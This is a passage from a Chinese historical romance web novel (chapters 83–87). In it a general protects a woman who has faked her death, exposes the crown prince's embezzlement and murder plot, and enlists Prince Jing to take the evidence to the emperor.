说起来,这些事本是与她无关的,可脑中有个隐约而模糊的念头,似乎告诉她,如果娘亲还在的话,是不希望他会有病的。
关于皇宫中那个最位高权重的人,娘亲好像告诉过她一些关于他的事,可她此时都不记得了。
被人设计谋杀,她直觉定然与那味香,与皇宫里的人,脱不开关系。
理智告诉她,这个时候,她应该乖乖呆在客栈中,等裴秉安查清真相,揪出真凶,将对方绳之以法,但大约是一个人在这里单独呆得太久了,她莫名有些焦躁,不想再这样等下去了。
房门吱呀一声,沉
稳的脚步声迈过门槛。
看到裴秉安大步流星地走了进来,苏云瑶微微一笑,理了理裙摆起身走向他。
“可查到些什么了?”
裴秉安默然沉思。
事情错综复杂,背后可能牵涉甚广,她到底是个弱女子,若是告诉她真相,只怕会让她徒增担心忧虑。
“有了些眉目,你且不必担心,等查清了,我就带你出去。”他勾唇笑了笑,淡声说完,便很快转移了话题,“在这里住得如何,都做什么了?想吃什么”
苏云瑶眨巴着长睫看了他一眼,轻轻打断了他的话:“我想见一个人。”
“何人?”
说话间,裴秉安抬起大掌,轻轻揉了揉她的发顶,心中暗想,也许她呆在这里孤独,想要有人陪着她,青桔此时是不能来的,他可以差人将青杏送来,陪她说说话
温婉的声音突然打断了他的遐想:“我想见景王殿下。”
闻言,裴秉安的动作微微一顿,在她看不见的地方,唇角不悦地抿成了一条直线。
第84章 第84章裴秉安呼吸不由一滞。……
微风拂过窗隙,明亮的烛火轻轻跳跃几下。
墙上投下两道交叠的身影,乍一看去,像是两人在亲密相依,耳鬓厮磨。
苏云瑶耳根一热,鸦羽似的长睫颤了颤,状似不经意间退后了几步,悄然与裴秉安拉开适当的距离。
“我想见一见景王殿下,”她偏头瞧着跳跃的烛火,暖黄的光线铺满眸底,荡起轻浅的潋滟波光,“你能带他来见我吗?”
过了片刻,裴秉安闷声清了清嗓子,道:“那是自然你见他有什么事?”
苏云瑶按了按隐隐作痛的额角,纤长的秀眉蹙起,神情中露出一点茫然。
见景王殿下做什么?
她脑中方才蹦出这个念头,觉得自己该见他一面,可到底要对他说什么,自己却一点儿头绪都没有了。
“我”苏云瑶苦恼地拧起秀眉,泄气似得往美人榻上一坐,“我忘了。”
裴秉安不动声色地勾了勾唇,温声道:“你伤势未好,先不要想了,待查出真相,再见他不迟。”
话音未落,不待她再说什么,他便撩袍在她对面坐下,道:“你手上的伤怎样了?可换过药了?”
右手掌心的伤还没好,裹着厚厚一层细布,苏云瑶摊开右手看了看,为难地抿紧了唇。
她住在客栈,这里是很安全,可客栈没有女伙计,在外面暗守的又都是男子,她一个人动手不便,伤口的药还没来得及换。
还在她思忖着想让他请个女子过来帮她换药时,掌心突然一轻,一只骨节分明的劲挺大手伸了过来,将她缠着细布的手托在干燥温热的掌心中。
“太晚了,莫要让旁人服侍了,我给你换药吧。”
淡声说完,裴秉安黑沉的眼眸紧盯着她,一向喜怒不形于色的脸色如平常般沉冷无波,仿佛这不过是他随手帮她的一件小事,没有任何男女旖旎之情。
苏云瑶抿唇看了他一眼,心跳似乎蓦然快了几拍。
不过,撞见他平静的星眸,她抿唇定了定神,突突乱跳的心也很快淡定如常。
此时若是拒绝他,反倒显得自己多想了。
她微一颔首,落落大方地道了谢:“好,麻烦你了。”
手上的细布还是他亲手缠的,一层层解开后,白皙如玉的掌心中,一道暗红色的伤口赫然显露出来。
他的动作很是小心翼翼,没有碰到伤口,也没有任何疼痛的感觉,不过看到那道丑陋的蜿蜒疤痕,苏云瑶还是忍不住深吸了一口凉气,忧心忡忡地道:“伤口愈合后会不会留疤啊?”
裴秉安从衣襟中摸出个玉白瓷瓶来,将药粉仔细地倒在她的伤处,沉声道:“放心,不会的。”
他又不是大夫,却说得如此笃定,若是在以前,苏云瑶也许会暗暗腹诽几句,可这会儿听到他的话,她眼神亮晶晶地看着他,唇角难以抑制地勾起一抹轻浅的弧度,感觉颇为安心。
不消片刻,为她上好了药,用干净的细布重新裹住伤口,裴秉安温声道:“时辰不早了,你早些睡下吧。”
苏云瑶目不转睛地仰首看着他,轻轻弯起了唇角。
她呆在客栈,没什么可忙的,一个人很是悠闲自在,这会儿不困也不累,倒是他在外边探查案情劳心费力,奔波了一天还没歇息。
“我知道了,你也早些歇息吧。”
垂眸看着她,裴秉安呼吸不由一滞。
她本就生得极美,微笑间眼波流转间,恰似月下清泉潋滟生辉。
他的视线稍稍下移,便凝在了她柔软嫣红的唇上,原本是笔挺端正的坐姿,竟鬼使神差地俯身朝她压了过去
烛火噼啪一声,寂然无声的室内,犹如突然炸开了朵小小烟花,异常响亮的声音,蓦然拉回了不由自主飘飞的神思。
垂眸看着近在咫尺的明艳脸庞,裴秉安饱满锋利的喉结剧烈地滚动几下,之后像是无声给自己下了道军令般,猛地坐直了身体。
云瑶尚在病中,又被他藏在了客栈中,现在只能依靠他,若是他借此挟恩图报,趁她之危,非君子所为。
等她病好了,事情的真相也水落石出后,他会找到机会,向她表白自己的心意。
~~~
翌日,醉香楼。
林启盛摇着折扇应邀而至时,裴秉安早已等候多时。
只不过,这酒楼本是饮酒作乐的地方,此时却隐隐充斥着肃杀沉冷的气息,令人不寒而栗。
在踏进酒楼的那一刻,直觉有些不对劲,他脸上的笑意逐渐凝住。
可下意识想要转身离开时,却不料从暗处走出两个人来,一个黑壮如铁塔,一个机敏如脱兔,两人一左一右拦住了他,铁塔般的壮汉揪住了他的衣领,像拎鸡崽一样将他扔过了门槛。
滚到房里,林启盛抬眼,看到一个高大挺拔的男人凭窗而立,一身黑袍,气势凛冽。
男人只不过是拧眉淡淡瞥了他一眼,那视线便像是泛着寒光的利刃贴着脸颊飞过,让他冷不丁激起了一身冷汗。
半晌,林启盛定下神来,脸上挤出一丝比哭还难看的笑,掸了掸衣襟从地上爬起来。
“表哥,你说要请我吃酒,这是什么阵仗,怪吓人的,得亏凤蕊没和我一起来,不然还不得把她吓哭了。”
他见势不妙,有意拉近关系,不过,话音落下,裴秉安沉冷的神色没有丝毫变化。
陆家庶长女陆凤蕊是他的表妹,她嫁与林启盛为妻,按理来说,他与这位连襟妹夫本该十分相熟,但林启盛没有登科入仕为官,而是一心经营
产业,是以,道不同不相为谋,他与林氏不过是点头之交。
当初林氏着人贿赂裴府,弟妹见钱眼开犯了大错,他私以为治家不严,没有与林家计较,而是自愿贬官受罚。
可如今,林氏敢对云瑶下手,便已是他的死敌。
裴秉安立掌挥了挥手,雷震虎会意,立时从隔壁拎出个嘴角长黑痦子满脸青紫的男子,压着他跪在了地上。
看见自己的主子,那男子哆嗦着嘴唇,道:“大公子,小的小的都招了。”
林启盛顿时气不打一处来,顾不得周围几道冰冷瘆人的视线,提袍重重踹了他一脚:“你这个不长进的东西,坏了大事”
裴秉安道:“林公子,稍安勿躁。”
林启盛擦了擦额头的冷汗,干巴巴笑了声:“表哥,都是误会,误会,家父今日还提起表哥,说等太子殿下来相府时,请表哥到府里来吃酒呢”
他爹是一国之相,文臣之首,林家又是太子外祖家,他这样说,是要提醒眼前这个六亲不认的裴将军注意行事,别以为他是个普通的官宦子弟
裴秉安居高临下地盯着他,眸底沉冷不已。
林家势大,旁人忌惮,可他根本无需顾忌。
当初他向皇上呈报军粮案的详情,林家便牵涉其中,那些贪腐私吞的军费,虽最终由林家远房族亲林转运使一力承担,但他已着吴副将查出了证据,林转运使生前曾将一尊赤金打造的一人多高的金佛送入林相私宅,之后金佛便不见了踪影。
这些事,本该东宫彻查,但距离真相只有一步之遥的时候,案情意外搁浅。
如今,林氏又派人暗杀云瑶,而云瑶擅制紫薇伴梦香,其中答案,已经呼之欲出。
不过,这一切,不能光凭他的推测,还需要林氏亲口证实。
裴秉安冷冷打断了他的话:“无需多言,想要活着离开,我问什么,你便答什么。”
沉默片刻,他冷声道:“军粮一案,林家贪腐的银子到底送去了何处?”
“你派人杀害苏氏,到底受何人指使?”
半个时辰后,几个身着便衣的亲卫将脸色惨白、惊魂未定的林公子带上马车送去了别处。
凭窗而立,遥遥眺望着东宫的方向,裴秉安剑眉紧拧,五指收拢成拳。
事情的来龙去脉他已知晓,为免打草惊蛇,他先着人将林氏看押起来。
不过,这些证据该如何呈送到皇上面前,还需要深思熟虑,斟酌一番。
第85章 第85章本王不信她死了。
酉时,雕金镶玉的东宫殿中,华贵的宫灯次第燃起,灯光与金玉交相辉映,映得室内璀璨绚烂。
香风微动,纱幔轻摇,身姿窈窕轻衫薄裙的美婢跪坐在榻上,低眉顺眼服侍着榻上的人。
急促的脚步声渐近,在靠近内室时停了下来:“太子殿下”
半刻钟后,美婢扶着脖颈急促地喘息着,起身时,扯过凌乱的衣衫遮住腰间青紫交错的痕迹。
她穿戴好衣衫,气息也慢慢平稳下来,抬眸时眼波流转,柔声道:“殿下,奴婢”
太子斜靠在榻上,冷白劲瘦的长指抬起她的下颌,漫不经心地睨着她的眼睛。
寻来的美人,有几分与那苏氏相似,可惜,只是相似而已,远远不及她的颜色。
耳旁忽然传来一声意味不明的冷笑,笑声泛着森森寒意,美婢吓得缩了缩脖子,本想讨赏的心思顷刻间退的一干二净。
外人常说太子面容俊美,温润如玉,仁善纯孝,可此时,她却觉得太子与传言中完全不同。
想到在榻上受到的折磨,心念电转间,婢女已不再奢望什么赏赐名分,只暗自庆幸自己还活着,不像别的女子那样服侍一场便白白丢了性命。
婢女剩下的话噎在喉咙里,急忙磕头谢了恩,慌忙起身走了出去。
等待在外的冯公公静默而立,那婢女双肩瑟缩着低头经过时,脆弱脖颈间鲜红的勒痕触目惊心,他似乎早已对此习以为常,连眼皮都懒得动一下。
“殿下,奴才差人去看过了,林公子所言不虚,那苏氏确实已经坠崖而亡,据说粉身碎骨,什么都没寻到,她家的宅子已经挂起了白灯笼,邻居也都去吊唁了,她那丫鬟与她的堂弟披麻戴孝哭灵,打算择日给她立个衣冠冢。”
烛火通明,太子慵懒地披上衣袍,赤足走过琼山墨玉铺就的地板,负手立在一副高挂的江山明月图前,意兴阑珊地盯着画中破云而出的圆月看了许久。
月色皎洁,只是指点这画的人已化成一缕香魂,绝色美人香消玉殒,到底让他觉得惋惜。
可也仅仅是惋惜而已,这种情绪很快一闪而过,再回眸时,太子的神色已恢复如常。
“裴将军可去过苏宅?”
冯公公一哂,道:“奴才着人盯着呢,别说去苏宅了,他连打发人去吊唁都没有。奴才以为,那苏氏虽是他的前妻,不过两人和离那么长时间,彼此之间早就没了情分,殿下无需担心什么。”
太子狭长的凤眸微微眯起,唇畔溢出一丝嘲弄的冷笑。
因裴大将军曾立过赫赫战功,他那位父皇着实看重他,交于他兵权不说,还常赞他忠君爱民,情深义重,如今看来,也不过是个薄情寡义之辈。
当然,不仅如此,此人到底只是个行兵打仗的武夫,秉性愚钝顽固,不知变通,只知道恪尽职守,却不会结党营私,为己牟利,连东宫以前对他的屡次示好都无动于衷。
既然不能为一国储君所用,早晚是个碍事的,现在他被降了职,趁此机会将他打发出京都才是正经,以免节外生枝,坏了他以后的大计。
缓缓转动几下掌中的冷玉扳指,太子忽然想起一事,道:“景王这两日在做什么?”
他这位皇弟不过是个只会调香赏花的酒囊饭袋,行事也散漫不羁,若搁在以前,他根本不屑过问他的行踪,只是最近他与那苏氏走得近,苏氏突然身亡,不知他会不会疑心她的死与紫薇伴梦香有关。
听到太子的问话,冯公公踌躇几番,一言难尽地道:“回殿下,景王这两日常去苏宅,他去了之后,话也不说,饭也不吃,就那样呆呆地站在院子里,也不知在想什么。”
冷冷嗤笑一声,太子挥了挥手示意太监退下。
是他高看景王了。
凭他那双蠢笨的眼睛,能瞧出什么异常来?
~~~
阵风拂过,檐下的白灯笼左右轻轻摆动着,发出轻微的沙沙声。
院门咚咚叩响,又来了吊唁的人。
苏千山理了理白色的孝服,余光瞥了一眼暗处处盯守苏宅的人,皱眉做出悲伤的表情,去门口接待堂姐的邻居友人。
不过,看到站在苏宅外面的,竟然是裴府的人,他不由愣在了原地。
为首的是裴淑娴,她穿着一身素白衣裳,两只眼睛哭得通红,一看见他,她的眼泪便又啪嗒啪嗒落了下来。
“千山哥哥,苏姐姐她”
话未说完,她已捂着脸泣不成声。
她一垂泪,苏千山便有些不知所措,想掏出帕子让她擦一擦泪,当着众人的面,又不能如此冒失,默了几息,只得沉声劝道:“淑娴,你先别哭”
说话间,罗夫人扶着丫鬟的手慢慢走了过来。
苏云瑶是裴家前长孙媳,她已与裴秉安和离,与裴家也早没有了关系,按理来说,她坠崖身亡,裴家即便不差人来吊唁,也没什么失礼之处,可老太太听说了这件事,执意要她亲自来苏宅祭拜。
“你一个人张罗她的丧事,可有需要帮忙的地方?裴家虽不如以前,家里却还有几个会办事的人儿,你要是不嫌弃的话,有需要帮忙的地方,直接开口就是。”
罗夫人叹了口气,想起前儿媳千般万般好来,如今却年纪轻轻就没了,不由心痛地落下泪来。
苏千山低头清了清嗓子,道:“多些夫人,不必了,我已安排妥当了。”
罗夫人擦着眼泪看了看院子,这院里是挂了白灯笼,也糊了白联,只是那苏氏突然遭难死不见尸,院里连个棺木也没有,也不见超度法事。
苏千山虽是可靠,可到底只是个不经世事的少年,难免有想得不周到的地方。
但裴家是外人,又不好越俎代庖为她置棺超度,想到这里,罗夫人一时泪落如雨,哽咽不能言语。
记得前些日子,老太太还万般后悔地提起过,身为长辈,她们不该自恃高门贵地轻视苏氏,若是苏氏还在,崔如月便不敢那般肆意行事,裴家也不会落魄。
可如今
说这些都晚了,老太太本还想着有朝一日苏氏能回心转意,再嫁回裴府,昨日听说了苏氏出事,受不了这种突然的意外,又心痛又难过,一下便病倒了。
罗夫人好不容易止住泪,落后几步的裴宝绍走近了,将一只沉甸甸的匣子塞到了苏千山手里。
那匣子里装了满满一盒金元宝,是他当了几件珍重的墨砚换来的。
当初大嫂在裴府时,给他读书置办的都是最好的东西,那时他不知金钱金贵,胡乱攀比挥霍了不少,直到裴家出了事,自己也被赶出了国子监,方知晓了大嫂以前当家理事的艰难和期盼他认真读书的良苦用心。
苏千山掂了掂匣子的分量,眉头一拧,正要开口拒绝,裴宝绍无声吸了吸鼻子,闷声道,“别推拒,我知道你不缺银子,这是我的一点儿心意,望你务必收下。”
苏千山默然深吸一口气,看了看泪眼朦胧的裴淑娴,又看了看悲痛难过的罗夫人与裴宝绍,思忖几瞬,终是没说什么。
送走了裴府的人,一紫袍玉冠的年轻男子匆匆打马穿过街道,径直疾驰到苏宅的门前才停下。
景王翻身下马,迈着沉重的步子走进苏宅。
看到廊檐下的那些白灯笼,不由再次想起与苏娘子相识这些日子的事来,他心头一酸,眼眶禁不住有些发涩。
思念亡人,他负手在院中默然站了许久,期间未发一言,神情落寞而哀伤。
苏千山立在一旁等得久了,忍不住沉声开口劝他回去。
“殿下,堂姐在天有灵的话,您的心意她会知道的,时辰不早了,您注意身体,早些回王府吧。”
这几日,已经劝了景王好几回,不过对方恍若未闻根本不听,这让他十分头疼。
堂姐假死之事隐瞒着众人,若是被景王殿下察觉出什么,破坏了堂姐与裴大人的计划,那就坏了。
一缕清香不知从何处飘来,景王眼圈泛红,朝他拱了拱手,哑着嗓子道:“苏大人,你自便,不用管我,本王心里难受,只想站在这里守着,哪里也不想去。”
苏千山此前中了武进士,暂时领了一六品守备之职,只待三个月之后前去甘州就任,现在赋闲在家,虽是个不起眼的武官,景王却并没有看轻他半分,每次他来询问,都不忘了以礼回应。
苏千山沉默许久,为难地挠了挠头:“殿下还是吃些茶饭吧,若是堂姐知道殿下如此难过,心里也会不安的。”
景王摆了摆手,嗓音含着哽咽:“你别劝了,本王没胃口”
说话间,他顿了顿,长眉突然拧紧,眸中似含着一抹希冀,喃喃自语起来。
“苏娘子坠落山崖,怎会尸骨无存?也许她并没有死,而是被人救走了,活要见人死要见尸,不亲眼见到她的尸骨,本王不信她真得死了”
话音刚落,他一拂袍袖,似乎为了验证自己的想法,撂下一句“本王再去派人搜寻她的尸骨”后,便匆忙拍马离开。
忧心忡忡地望着策马离开的景王殿下,苏千山无奈地挠了挠头,转而抬眼看向那客栈的方向——不知堂姐与裴大人的计划进行得怎么样了,但他觉得,再这样下去,只怕快要露馅了。
第86章 第86章必须要与他见一面。
住在安如泰山的客栈中,苏云瑶睡得却并不安稳。
夜间起了风,树枝咯吱咯吱的晃动。
几次她从榻上忽然醒来,看到影影绰绰的纱帐外,男人高大挺拔的身形不动如山,像尊默默守护在外的石像,提起的心,便又踏踏实实落回了原处。
睡意朦胧间,她拥被起身,如瀑长发披在肩头,撩开一点纱帐,暖黄的烛光落在眸底,清楚地映出男人高大的身影。
“你怎么还没去睡?”
身后响起温婉轻柔的声音,裴秉安转过身来,瞧见她睡眼惺忪的样子,喉结莫名滚了滚,不自在地以拳抵唇咳了声,悄然移开了视线。
“我不困,听到你梦中呓语,担心你睡不安稳,便在这里多呆了一会儿。”他沉声道。
苏云瑶下意识揉了揉额角,抬腕时,绿玉镯叮咚作响。
她的脑袋还有些隐隐作痛,不能用力去想事情,是以这几日呆在客栈里,什么都没想,什么也没做,至于裴秉安将事情查得如何了,他没有多说,她便没有细问。
看到他苍白瘦削的脸庞,眼周还有些淡淡的乌青,显然已经几日没有休息好了,她抿了抿唇,心中有些不是滋味。
“你不必守着我,我没事的,你去睡会儿。”她轻声催促道。
垂眸凝视着她,裴秉安唇畔勾起一抹难以察觉的弧度,温声道:“好。”
饶是这样说,待她睡熟之后,他才无声离开。
晨光熹微时,有亲卫匆匆赶来,进房后恭声低语了几句,便又领命离开。
天色晦暗不明,裴秉安负手凭栏而立,锐利如刃的视线盯着苏宅的方向,直到暗处的探子自以为万无一失地现身离开,方才收回冷凝的视线。
林家为东宫一党,数年来贪腐的国库银两悉数流入太子府邸,东宫奢靡,用得是便是这些民脂民膏。
元德帝素喜太子勤勉恭谨,克勤克俭,却应当想不到,太子阳奉阴违,表里不一。
而皇上以为的太子仁善孝顺,也不过是太子做的表面文章,因为紫薇伴梦香能治愈皇上的头疾,他便想要取了云瑶性命,也许,太子只想皇上早日因痼疾薨逝,好顺势继承大统,登上皇位。
裴秉安剑眉拧起,疑惑未解。
谈及历朝皇帝,皇帝与太子之间既是父子,又为君臣,关系微妙,多有彼此猜疑提防,甚至还有太子之位朝不保夕,屡次废立之事。
但元德帝不同。
当今皇后母凭子贵,因诞下长子而封后,皇上膝下只有太子、景王两位皇子。
景王行事自由散漫不堪重任,太子自小便被寄予厚望。元德帝将其带在身边教养,父子情深,又无别的皇子觊觎东宫,可以说,太子的储君之位固若金汤,难以撼动。
可为何他会丝毫不顾念父子情分,如此行事?
难道皇位于他来说如此重要,远超过父皇对他的谆谆教导、悉心爱护?
虽难以猜透其中缘由,但此事他需要想办法禀报皇上,揭露太子的真面目。
只是皇上舐犊情深,此番一击,未必能够动摇太子根本,况且太子暗中谋划已久,必然还有后手,只怕届时朝中暗潮涌动,波谲云诡,会掀起更大的惊涛骇浪。
他必须谨慎思虑,方能护云瑶周全。
与此同时,城郊灵山。
景王的侍卫奉命将崖底搜寻了一遍,只捡得几根马骨车木,全然没有半点尸骨痕迹。
站在崖底,举目望着山脚绵延数里的绚烂紫薇花,景王心情悲痛,怅然若失。
如果苏娘子还活着,说不定此时他们正在一起欣赏这漫山遍野的紫薇花,这里花香弥漫四周,蜂蝶嘤咛起舞,就像桃花坞中绯红的桃花,令人流连忘返。
苏娘子擅制香料,喜欢花草,看到这些紫薇花,说不定便会摘下来许多,留着制作香料
想到这里,景王眉头突然一拧,神色微微变了。
不对,苏娘子到这里来,不是赴人邀约,也不是赏花观景,这些紫薇花最适合做紫薇伴梦香,她来这儿是为了采紫薇花做香!
可紫薇花在山脚下,她的马车怎会来到这个地方坠崖?
也许她的死并不是一桩意外,而是有人蓄意为之!
景王的神色越来越凝重,似是想到了什么,突然吩咐道:“来人,去山坡四周搜寻!”
侍卫不明白殿下为何忽然下了这样的命令,毕竟要是那苏娘子只是滚落在山坡上,定然不会有性命之忧的,可她毫无踪迹,说明人早就死了,她的尸骨遍寻不见,说不定是被野狼啃食得一干二净,什么都没有了而已
但殿下一改方才的
落寞悲痛,神情十分严肃,侍卫们拱手应下,立时在四周的灌木丛中一寸寸搜查起来。
不一会儿,有人匆匆前来禀报:“殿下,有一处草木被压坏,还有血迹,似乎之前有人曾摔落在那里!”
仔细查看过那明显的痕迹,猜测苏云瑶曾滚落在此昏迷许久,景王沉吟片刻,径直策马去了裴府。
到了裴府,裴秉安不在府中,景王越发坚定了自己的猜测。
裴将军降职外放,本已到了前去赴任的时间,却打着养病的旗号留在京都,这些时日不见他在苏宅现身,本以为他是对苏娘子的死毫不在意,可仔细想想,他应该并非那样的无情之人,也许他早已暗中查到了什么,只是等待时机,隐忍未发。
青山回了裴府一趟,再次离开时,没有注意到,有人暗中跟了上来。
瞧见青山进了这间不起眼的客栈,景王便大步流星地走了进来。
只是正欲去往后院,便被穿着便衣的卫兵拦了下来。
亲卫得到将军吩咐,连只苍蝇都不能放进来,看到景王殿下风尘仆仆赶来,几人悄然按紧腰间的刀,将他阻拦在外:“殿下,这里不能进去,还请尽快离开!”
萧祐瞥了眼他们腰间泛着寒光的刀鞘,气得冷笑几声,咬牙道:“让裴将军出来见本王,不然本王就闯进去了!”
后院阁楼上,遥遥听见传来的清朗嗓音,裴秉安沉思片刻,吩咐身边的亲卫:“去请景王殿下进来。”
不多时,萧祐左右张望着大步走了进来,待看到阁楼上那道熟悉的挺拔身形时,唇角顿时泛出一抹冷笑。
循阶上楼,打了个照面,不待裴秉安开口,他便挽起衣袖,突然握拳朝他的脸上挥去。
只是,拳头还没伸到近前,便被一只大手反手叩住腕骨。
只听吃痛闷哼一声,萧祐耳旁闪过迅猛凛冽的拳风,那铁拳直朝自己的面门砸来,近在迟尺之时却倏然收住了拳势。
拳风将他额前的头发拂起,萧祐心有余悸地摸了摸鼻子,讪讪道:“裴将军,你差点要跟本王动真格的啊”
裴秉安放他一马,瞥向他的眼神冷冽如刃,极轻得冷嗤一声。
云瑶假死这数日,景王在苏宅落寞伤神,他种种不知所谓、自作多情的样子,可尽收他的眼底。
若不是看他在尚有几分可取之处的份上,就凭他今日贸然闯进客栈,还妄想与他拳脚相向,他便不会轻易放过他。
“殿下找我何事?”裴秉安冷漠开口,黑沉星眸审视地打量着他。
萧祐理了理衣襟,脸上浮出轻快的笑意来。
打不过裴秉安,他见好就收。
反正他来这里,是为了找苏娘子,不是要故意与他起冲突的,方才他一时冲动动了拳脚,是因为生气裴将军隐瞒这事太久,害他白白伤心。
“本王不是要找你,苏娘子在哪里,你把她藏在这客栈里了是不是?”
他说着,便挨着临近的厢房一间间找了过去,门扉打开又关紧,找了一番无果后,萧祐着急地踱来踱去,袍角都甩成了一道残影。
“裴将军,你别不说话,你倒是告诉本王苏娘子到底在哪里啊?”
裴秉安不为所动,冷冷看着他,薄唇抿成一条直线。
“殿下想要见云瑶,她未必想要见你。我劝殿下莫要一厢情愿,到时候伤心难过的还是你自己。”
他话音落下,却像是对牛弹琴,萧祐却只听到“见你”两个字,顿时眼神一亮,笑道:“果然,苏娘子根本没事,只要她还好好的,本王就放心了。”
裴秉安一噎,冷漠地瞥了他一眼,眼神中几乎飞出寒冰利刃来。
“既然殿下放心了,就先回去吧,这里不便留客,臣就不留你了。”
萧祐思忖了几瞬,忽然撩袍往旁边的椅子一坐,悠闲地翘着二郎腿,道:“本王若是回去了,可不敢保证会不会对别人说出今日的事去,我要是裴将军的话,为了周全起见,应该把闯进这里的人都留在这里,直到计划完成了,再把人放走。”
他扬眉笑了笑,道:“裴将军要做什么,告诉本王,说不定本王可以帮你一二。”
裴秉安思忖片刻,沉默不语。
呈送东宫案情的事,知道的人越少越好,况且景王素来敬重他的太子兄长,若他知晓了其中真相,不知会作何感想,也不知会有何举动。
事关重大,他不能轻易信任景王。
阵风拂过,枝叶簌簌作响,一时寂静无声的阁楼上,还没等裴秉安开口,楼梯咯吱响动,青山突然快步走了上来。
“将军,苏娘子看见景王殿下了,说必须要与他见一面。”他附耳低声道。
第87章 第87章现在不是争风吃醋的时候……
夜幕初降,天空仿若一块暗沉的幕布,漆黑而厚重。
眺望着晦暗的天色,苏云瑶默然矗立,久久沉吟未语。
失去的记忆在脑海不断翻涌,想到娘亲曾告诉过她的事,心中隐隐浮现出一个可疑的猜测,苏云瑶轻轻深吸一口气,视线凝在自己手腕戴的绿玉镯上。
翠绿通透的玉镯,雕刻着一只栩栩如生的金凤,青绿与金黄光泽交织,在光线下熠熠生辉,彰显身份尊贵,寓意吉祥美好。
金凤之上,一行小字细腻清晰,一笔一画飘逸精美,足以看出,当年亲手刻下这些字迹的人,当是精雕细琢了许久,才刻出这样的深情隽永。
这只玉镯,是当年刚登皇位的元德帝亲手所制,也是他特意送给皇妹的生辰礼。
微风拂过,思绪悄然回笼,苏云瑶只觉眼眶有些发酸,心里也有些发堵。
当年,娘亲过完生辰,便戴着这只玉镯死遁离开了皇宫,余生再没与那位皇帝兄长见过一面。
而她,清楚娘亲的心意与遗恨,即便早就知道皇宫之中那位掌握别人生杀大权的皇帝是自己的舅舅,也从未想过认回血亲。
她本以为,自己的日子会永远平静富足地过下去,就算为那位不想相认的皇舅制了紫薇伴梦香,她也只是隐瞒了身份,不会被他轻易察觉。
可事到如今,太子因为这味香而对她不利,对方温润仁善外表下的凶狠杀意,让她逐渐想清楚了一件事——太子早已查清了她的身份,要致她于死地,不仅是因为那味香,更重要得是,她是死遁离开的长公主的女儿。
当年到底发生过什么,她并不完全知晓,但她觉得必定有人从中作梗,致使娘亲与皇舅之间的误会犹如天堑,直至再也无法挽回。
屋外响起急促的脚步声。
转眼间,景王疾步如飞地走了过来,他行走间袍角随风飘飞,几乎甩出了一道残影。
看到苏云瑶安然无恙地站在房内,景王关切的眼神上下打量她几眼,紧绷的心弦终于放松些许,朗声笑道:“还好,还好,本王真是担心死了”
他说着,便大步朝苏云瑶走了走去。
只是还未走到近前,便觉一道冰冷视线自背后扫了过来。
脊背霎时生凉,景王转头看去,只见裴将军面色沉冷、不苟言笑地看着他,那神情与眼神,让人莫名联想到一头巨狼正在守护自己的领地,一旦旁人靠近,便会毫不留情得将对方驱逐出去。
迎着对方寒冰利刃般的视线,景
王莫名觉得头皮发紧。
剩下的话只好噎在嘴里,距离苏云瑶几步之遥时,他硬生生刹住脚步,自觉退后了些许。
罢了,现在不是争风吃醋的时候,苏娘子遭遇意外的始末尚不清楚,恐怕还得向这位裴将军请教一番,他暂时先不与他一争高下。
“苏娘子,你现在怎样?可有受伤?那日坠崖到底是怎么回事?”
话音落下,苏云瑶踌躇了几瞬,没有直接回答,而是轻声道:“殿下,我想见皇上一面。”
这个要求让景王突然一愣。
几步之外,原本面色略有些不悦的裴秉安,闻言意外地看了她一眼,剑眉几乎拧成一团。
“为何想要进宫见皇上?”他沉声道。
东宫意欲置她于死地,这个时候她若贸然进宫,只怕还会招来杀身之祸,如果她没有非去不可的理由,他不会让她离开客栈一步。
苏云瑶抬眸望向他,清澈杏眸中清晰地映着他的身影,眼神沉静而柔和。
近些日子,他为她暗中探查出真相,这让她十分感激。
但是,东宫既然是冲她来的,她不想躲藏起来被动等待,况且,当年的事,她也想尽早弄个水落石出。
真相不应该被掩埋,误会也应该早日解除,她想见一见皇上,请他彻查当年的事。
事情解释起来,三言两语理不清楚,深深看了他几眼,苏云瑶道:“我有一些话想对皇上说,事关重大,最好不要拖延。”
闻言,景王回过神来,暗忖是有关她因制香而被人蓄谋暗杀的事,便马上点了点头,道:“对对,我怎么就没想到这一层呢,苏娘子,你马上随我进宫去,有什么话你当面对父皇说,父皇一定会为你做主的。”
垂眸看着眼前的人,裴秉安沉默片刻,眉峰紧锁。
她眼神温柔却坚定,不会轻易改变自己的主意,但于他来说,她的安危重于一切,他不能让她有半分闪失。
之前为免打草惊蛇,林氏尚在关押之中,只要她一露面,东宫便会回过神来,届时太子知道军粮案与谋杀之事败露,只怕会孤注一掷、铤而走险。
“宫中暗藏危机,诸事需得处处小心,若非必要,莫要前去。”他沉声道。
景王微微扬起长眉,不大乐意听见这样的话。
裴将军这样说,好像那深宫之中有什么明枪暗箭似的,他自小在宫中长大,父皇慈爱,皇后娘娘和善,太子兄长友爱,哪有什么危险之处?
“裴将军多虑了,你放心吧,我会把苏娘子安然无恙地带回来的。”
裴秉安唇角抿直,审视地打量了景王一眼。
饶是他对这位擅长自作多情的皇子略有不满,但此时此刻,有些事,也确实该让他清楚,他自以为仁善的兄长,到底是个什么样的人。
半刻钟后,看到军粮贪腐之案的详情以及林氏受太子之命谋害苏云瑶的证据,景王眼神震动不已,脸上几乎失去了全部血色,惨白如纸。
他双肩微微颤动,眼眶发红,双手不自觉握成了拳头。
突如其来令人震惊的事实让他实在错愕,仿佛整个世界瞬间崩塌,他怎么也无法相信,自己一直敬重的兄长,竟然是这样一个表里不一的人。
“殿下,事实确凿,不管你相不相信,真相就是如此,至于太子为何要对云瑶不利,我想,其中原因之一便是因为她为皇上制的紫薇伴梦香,而那熏香的功效,想必你比我更清楚”
半晌,景王痛苦无奈地闭了闭眸子,眸底难掩无尽悲伤与失望。
“本王知道了。本王虽然敬重兄长,但也不会原谅他这样,他贪腐军费,蒙蔽父皇,枉顾百姓,不仁不孝,但凭这些,本王便会如实将真相告知父皇,不会包庇他。”
顿了顿,他默然深吸一口气,神色凝重地朝裴秉安拱了拱手,道:“裴将军,你如今降职外放,本该离开京都外出赴任,却久久逗留此地,若是被兄长捏住把柄扣个违抗旨意的罪名,只怕会受到牵累。你若信得过本王,这些案情,便由本王亲自呈交给父皇吧。”
裴秉安一时沉默未语,神色却微微动容。
他暂时未将案情呈送到御案前,顾虑得便是此事。
他倒是无惧东宫的手段,只是担心若他万一遇到不测,云瑶便会无人照护。
如今景王是非分明、秉公处事,没有被亲情蒙蔽双眼,倒让他刮目相看。
“裴某自然信得过殿下,既然如此,便有劳殿下呈送了。”
话音落下的同时,裴秉安拧眉沉思片刻,已拿定了主意。
